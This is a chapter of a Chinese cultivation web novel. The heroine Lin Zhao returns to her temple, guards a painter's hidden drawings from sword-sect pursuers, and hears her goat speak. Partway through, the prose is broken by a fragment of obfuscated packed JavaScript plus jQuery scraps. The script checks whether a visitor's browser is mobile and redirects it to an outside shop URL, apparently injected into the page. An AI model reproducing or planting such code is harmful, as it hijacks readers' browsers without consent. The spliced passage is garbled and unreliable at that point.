林照回到晒谷观那天，正是秋分。
日头不烈，风里带着凉意，吹得漫山遍野的野菊花摇曳生姿。她从山道转出来，第一眼就看见了那片麦田——金黄金黄的，穗子沉甸甸地垂着头，在秋阳下泛着暖光。
然后她看见了晒谷观。
观还是老样子，三间瓦房，土坯墙，茅草顶。烟囱里飘出袅袅炊烟，是小米粥的香味。羊圈里，阿茸正低头吃草，听见脚步声，抬起头，黑亮的眼睛望过来。
“咩——”
熟悉的叫声，让林照眼眶一热。
她加快脚步，走到观门口。门虚掩着，里面传来孩子们的说笑声。她推开门，堂屋里，豆苗正在扫地，李虎在修一把破椅子，其他几个孩子围在灶台边，不知在看什么。
“我回来了。”林照轻声说。
堂屋里瞬间安静下来。
所有孩子都转过头，看着她。豆苗手里的笤帚掉在地上，李虎手里的锤子停在半空，灶台边的孩子们张着嘴，像见了鬼。
半晌，豆苗“哇”地一声哭出来，扑过来抱住她的腿：“照姐！你回来了！你真的回来了！”
其他孩子也反应过来，一窝蜂涌上来，七嘴八舌：
“照姐你去哪儿了？”
“我们以为你不回来了！”
“师父走了，你也不在，我们好害怕……”
林照蹲下身，抱住豆苗，又摸摸其他孩子的头：“对不起，我回来晚了。”
李虎站在人群外，脸色复杂。他手里还握着锤子，嘴唇动了动，想说什么，但最终只憋出一句：“回来就好。”
林照看向他，点点头：“嗯，回来了。”
孩子们的情绪渐渐平复下来。林照起身，环顾堂屋——一切如旧，但总觉得哪里不对劲。老谷头的竹椅还在墙角，烟袋搁在椅背上，像主人只是暂时离开。供桌上的香炉里，插着三炷新点的香，青烟袅袅。
“谁点的香？”她问。
“我。”李虎闷声道，“每天早上都给师父上香。”
林照心头一暖：“谢谢。”
她走到灶台边，揭开锅盖。锅里熬着小米粥，但火候过了，粥有点糊。她拿起勺子搅了搅：“谁做的饭？”
“虎哥做的。”豆苗小声说，“但他总掌握不好火候。”
李虎脸一红：“有得吃就不错了！”
林照笑了：“我来做吧。你们都饿了吧？”
孩子们欢呼起来。
她挽起袖子，重新生火。柴是现成的，火石一打就着。她从米缸里舀出新米，淘洗，下锅，又去后院的菜地摘了些青菜，洗净切碎。动作熟练，像从未离开过。
粥熬好的时候，香气飘满堂屋。孩子们围坐在桌边，眼巴巴地看着。林照给他们一人盛了一碗，又给李虎盛了一碗：“辛苦了。”
李虎接过碗，手有些抖，低头喝粥，没说话。
饭后，林照开始收拾观里。她发现药田荒芜了不少，杂草丛生，当归的叶子有些发黄。晒谷场上堆着还没脱粒的麦子，有些已经受潮发芽。羊圈里，阿茸的草料也不够了。
“这些天……没人管吗？”她问。
孩子们低下头。豆苗小声说：“虎哥要种地，要劈柴，要挑水，忙不过来。我们太小，帮不上忙……”
李虎猛地站起来：“谁说忙不过来？我明天就去收麦子！”
“明天我去。”林照说，“你带孩子们把药田的草除了。”
李虎看着她，眼神复杂，最终点点头：“好。”
傍晚，林照去了老谷头的坟前。
坟在麦田边，面朝东方。坟头的土还是新的，但已经长出了一些细小的野草。她蹲下身，一根一根地拔掉，动作很轻，像怕惊扰了安睡的人。
“师父，”她轻声说，“我回来了。”
风从麦田吹过，麦浪沙沙作响，像在回应。
她从怀里取出那枚干枯的麦穗，放在坟前：“这是您留给我的。我带着它走了很远的路，见了很多人，经历了很多事。现在，我把它还给您——因为它已经在我心里了，不需要再带在身上。”
她又取出那封信，那枚天地树的种子。
“您留给我的信，我看了。天梯将现，勿登，观之——我记住了。还有这枚种子……”她打开木盒，种子在夕阳下泛着晶莹的光，“我会种在您身边，让它长成一棵大树。等它长大了，树冠能为您遮阳，根系能为您固土。我也会经常回来看您，给您讲外面的故事。”
她咬破指尖，挤出三滴血，滴在种子上。
血渗进去的瞬间，种子光芒大盛，金色的纹路像活过来一样，在种子内部流转。整个木盒都开始微微震动，发出低沉的嗡鸣。
林照站起身，在坟旁选了一处土质松软的地方。她用手挖了一个小坑，小心翼翼地把种子放进去，覆上土，轻轻压实。
做完这一切，她盘膝坐下，闭上眼睛，开始对着土坑说话。
说她在破庙里遇见周言，说她在渔村喝到的鱼汤，说她在驿站写的那封信，说她在玄霄阁的试炼，说炼心台上的幻境，说鹤松真人的茶，说谷长青给她的信，说沈不言的剑，说陈砚的书，说李慕云的匕首。
说一切她经历过的，感受过的，思考过的。
像女儿对父亲倾诉，像学生对老师汇报，像修行者对引路人诉说。
太阳渐渐沉下山去，暮色四合。星星一颗一颗亮起来，银河横跨天际。夜风吹过麦田，带来秋夜的凉意。
林照一直说着，直到嗓子发干，直到月上中天。
最后，她说：“师父，我可能还会走。去更远的地方，看更多的风景，找心里的那座山。但无论走多远，我都会回来——因为这里是我的根。您说的对，仙不在天上，在我想去的地方。而我最想去的地方，永远是回家的路。”
她站起身，朝坟墓深深鞠了一躬，然后转身回观。
走到观门口时，她听见羊圈里传来阿茸不安的叫声。
不是平时的“咩咩”声，是一种焦躁的、带着恐惧的叫声。林照快步走过去，看见阿茸在圈里来回踱步，耳朵竖起，眼睛盯着后山方向。
“怎么了，阿茸？”她打开圈门走进去。
阿茸看见她，立刻凑过来，用头蹭她的手，喉咙里发出“咕噜咕噜”的声音，像在警告什么。
林照顺着它的目光看向后山。夜色深沉，山影幢幢，没什么异常。但她心里忽然升起一股不安——不是来自感知，是来自阿茸传递的情绪。
这只从小跟她长大的羊，从来不会无缘无故焦躁。
她拍拍阿茸的头：“别怕，我在这儿。”
阿茸安静下来，但眼睛还是盯着后山。
林照在羊圈里陪了它一会儿，直到它趴下休息，才离开。
回到自己房间，她点上油灯，开始读《晒谷心经》。这本书她已经读了无数遍，但每次读都有新感悟。今夜，她翻到“上接天光，中承风气，下连地脉”那幅图，久久凝视。
然后她闭上眼睛，开始调息。
“见云”境的感知缓缓展开。她“听”到晒谷观的呼吸——麦田的呼吸，药田的呼吸，孩子们的呼吸，阿茸的呼吸。一切都很平静，很安稳。
但当她将感知扩展到后山时，忽然感到一阵刺痛——不是物理的痛，是感知被什么东西阻挡、扭曲的痛。
后山有东西。
不是野兽，不是人，是某种……阵法？结界？
她想起谷长青的警告，想起青云剑派追杀周言的事。难道那些人找到晒谷观来了？
她睁开眼睛，吹灭灯，悄无声息地走出房间。
夜色很深，月光明亮。她借着月光，往后山走去。
走到半山腰时，她停住了。
前方不远处的树林里，有光——不是月光，不是火光，是阵法运转时发出的灵光。很微弱，在夜色中像萤火，但逃不过她的感知。
她屏住呼吸，收敛气息，慢慢靠近。
树林中央的空地上，站着三个人。
都穿着统一的褐色劲装，腰佩长剑——正是追杀周言的那些青云剑派弟子。为首的是个中年汉子，方脸浓眉，眼神凶狠。他手里拿着一面铜镜，镜面正对着地面，镜中射出一道青光，照在地上一个复杂的阵法图案上。
“确定是这里？”一个年轻弟子问。
“错不了。”方脸汉子沉声道，“追踪符显示，周言最后出现的地点就在这一带。这山里肯定有他藏身的地方，或者……有他同伙。”
“可咱们搜了两天了，什么都没找到。”
“那就继续搜！”方脸汉子冷哼，“掌门下了死命令，必须找到周言，拿回那幅画。活要见人，死要见尸！”
林照心头一紧。
周言果然被盯上了。而且这些人找到了晒谷观附近。
她正想着要不要退走，忽然，脚下一根枯枝“咔嚓”一声，断了。
“谁？！”
三道目光同时射来。
林照知道自己暴露了。她没有逃——逃只会更可疑。她从树后走出来，装出一副惊慌失措的样子：“我、我是山下晒谷观的，来、来采药……”
方脸汉子上下打量她，眼神锐利：“晒谷观？就是那个破道观？”
“是、是的。”
“深更半夜，采什么药？”
“我、我师父病了，需要夜交藤，夜里采的药效最好……”林照低头，声音发颤。
年轻弟子凑到方脸汉子耳边：“师兄，我看她就是个普通农女，不像修行之人。”
方脸汉子盯着林照看了半晌，忽然问：“你见过一个疯疯癫癫的画师吗？背个竹篓，满嘴胡话，说画什么‘不存在之山’。”
林照摇头：“没、没见过。”
“真没见过？”
“真没见过。我们晒谷观平时没什么人来……”
方脸汉子又看了她一会儿，终于挥挥手：“滚吧。记住，要是看见可疑的人，立刻来报。敢隐瞒……”他冷笑一声，手按在剑柄上。
林照连连点头，转身就跑。
跑下山，回到晒谷观，她的心还在狂跳。不是因为害怕，是因为愤怒——这些人，凭什么在她的家门口撒野？凭什么用剑指着她，像审问犯人？
她走到羊圈，阿茸又焦躁起来。这次它不只是叫，而是用角抵着圈门，想出去。
林照打开门，阿茸立刻冲出来，往后山方向跑去。她赶紧跟上。
阿茸跑得很快，但始终在她视线范围内。它没有去刚才那三人所在的地方，而是绕到后山另一侧，在一处悬崖边停下。
悬崖边有棵老松树。
阿茸在松树下刨土，很用力，前蹄扬起，泥土飞溅。林照走过去，看见它刨开的地方，露出一个浅浅的坑，坑里有个油布包裹。
她蹲下身，打开包裹。
里面是一叠画稿——都是周言的画。有青云山脉七十二峰，有云海，有那座“不存在之山”的草稿。最上面一张，是那幅只有一个墨点的《云外之境》的初稿。
还有一封信。
信是写给她的。
“林姑娘：
若你看到此信，说明我已遭不测。
画稿托付于你。它们不该被毁，也不该被某些人独占。
那座山是真的，只是需要‘对的眼睛’才能看见。
你有那样的眼睛。
保重。
周言 绝笔”
林照握着信，手在颤抖。
周言把画稿藏在这里，托付给她。而青云剑派的人，正在满山搜找。
她该怎么办？
把画稿交出去？那周言十年的心血就毁了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233480|197631||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>藏起来？那些人不会善罢甘休，晒谷观会有危险。
她正犹豫，阿茸忽然“咩”了一声，声音很奇怪——不是羊叫，像是……人声？
林照愣住了，以为自己听错了。
阿茸又“咩”了一声，这次更清晰，声音里带着焦急。它用头蹭她的手，眼睛盯着画稿，又看看后山方向。
然后，它开口了。
不是“咩”，是字。
很模糊，很生硬，像婴儿学语，但确实是字：
“山……要来了……”
林照浑身汗毛倒竖。
阿茸……说话了？
白羊看着她，黑亮的眼睛里，有一种超越牲畜的智慧。它又蹭了蹭她的手，然后转身，朝晒谷观方向走去。走了几步，回头看她，像是在说：跟我来。
林照收起画稿和信，跟了上去。
回到晒谷观，阿茸径直走向老谷头的坟边——那里，她下午种下的天地树种子，已经发芽了。
不是普通的发芽。
是疯长。
下午还只是一个小土坑，现在，土坑里已经长出一株一尺多高的树苗。树苗通体晶莹，像玉石雕成，枝叶是淡金色的，在月光下泛着柔和的光。树苗周围，土地微微震动，像有什么东西在地下涌动。
更神奇的是，树苗的根系——能看见，因为它们是半透明的，像水晶。根系深深扎进土里，然后向四面八方延伸，像一张发光的地网，覆盖了整个坟地，甚至开始向晒谷观延伸。
林照蹲下身，轻轻触摸树苗的叶子。叶子温润如玉，触手生暖。她能感觉到，树苗在呼吸——不是植物的呼吸，是某种更宏大、更深邃的呼吸，像大地的脉搏，像天地的律动。
阿茸走到树苗旁，低头吃了一口树苗旁边的草——那是普通的野草，但沾了树苗的光，也变得晶莹剔透。
吃完草，阿茸抬起头，又说话了。
这次更清晰：
“树……连天地……山要来了……躲……”
说完，它走到林照身边，趴下，闭上眼睛，像是耗尽了力气。
林照站在那里，看着发光的树苗，看着说话后又恢复成普通羊的阿茸，看着手中周言的画稿，看着远处后山隐约的灵光。
山要来了。
什么山？
周言画里的山？还是别的山？
树连天地——是说天地树吗？
躲——躲什么？青云剑派的人？还是要来的“山”？
她不知道。
但她知道，晒谷观不再是从前那个平静的小道观了。
师父留下的种子，周言托付的画稿，青云剑派的追杀，阿茸的异变，还有那句“山要来了”……
所有这些，像一张网，正在慢慢收紧。
而她，就在网中央。
夜风吹过，树苗的叶子沙沙作响，像在低语。
林照深吸口气，把画稿和信重新包好，埋回松树下——现在不是处理这些的时候。然后她抱起阿茸——白羊很轻，在她怀里温顺地趴着——走回观里。
把阿茸放回羊圈，她回到自己房间。
没有点灯，她就坐在黑暗中，望着窗外。
月光很亮，能看见晒谷场，能看见麦田，能看见后山的轮廓。
一切看起来都很平静。
但她知道，平静下面，暗流汹涌。
她摸了摸怀里的游历凭证，摸了摸那本《晒谷心经》，摸了摸师父的信。
然后，她做了一个决定。
她不走了。
至少现在不走了。
晒谷观需要她，孩子们需要她，阿茸需要她，师父的坟需要她守，天地树需要她养，周言的画稿需要她保护。
她的路，不只在远方，也在这里。
在每一寸需要守护的土地上，在每一个需要守护的人身边。
她闭上眼睛，开始调息。
这一次，不是为了“见云”，是为了“扎根”。
像麦子把根扎进土里，像天地树把根扎进地脉，像她把根扎进这片土地，扎进这些记忆，扎进这些责任里。
呼吸渐深渐缓。
她能感觉到，晒谷观的地脉，因为天地树的生长，正在被唤醒。那种温润的、厚重的、生生不息的力量，正通过树苗的根系，传递到每一寸土地，传递到她的脚下，传递到她的身体里。
不是灵气，是地气。
是大地的呼吸，是泥土的记忆，是麦子的执着，是师父的嘱托，是所有在这片土地上活过、爱过、守护过的人留下的印记。
这些印记，此刻都通过天地树，传递给她。
她“看见”了——
看见三百年前，开山祖师在这里建观，种下第一株麦子。
看见二百年前，一位观主在这里悟道，写下《晒谷心经》。
看见一百年前，师父在这里长大，在这里修行，在这里放弃飞升，在这里种出三季麦。
看见十六年前，她被师父捡回来，在这里学步，在这里识字，在这里种地，在这里长大。
看见三个月前，她离开这里，走向远方。
看见今天，她回到这里，种下天地树，接过传承。
所有的记忆，所有的岁月，所有的爱与守护，都在这片土地里，都在这棵刚刚发芽的树里，都在她的呼吸里。
她睁开眼。
眼神清澈而坚定。
像雨后的天空，像破土的麦芽，像刚刚找到方向的旅人。
她知道了。
她的修行，不在别处，就在这里。
在晒谷观，在这片麦田，在这棵树下，在这些孩子身边，在阿茸的注视里，在师父的期盼中。
仙不在天上，在你想去的地方。
而她现在最想去的地方，就是这里。
就是家。